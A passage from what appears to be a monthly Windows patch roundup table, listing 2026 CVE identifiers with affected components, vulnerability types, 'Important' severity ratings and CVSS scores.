Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege 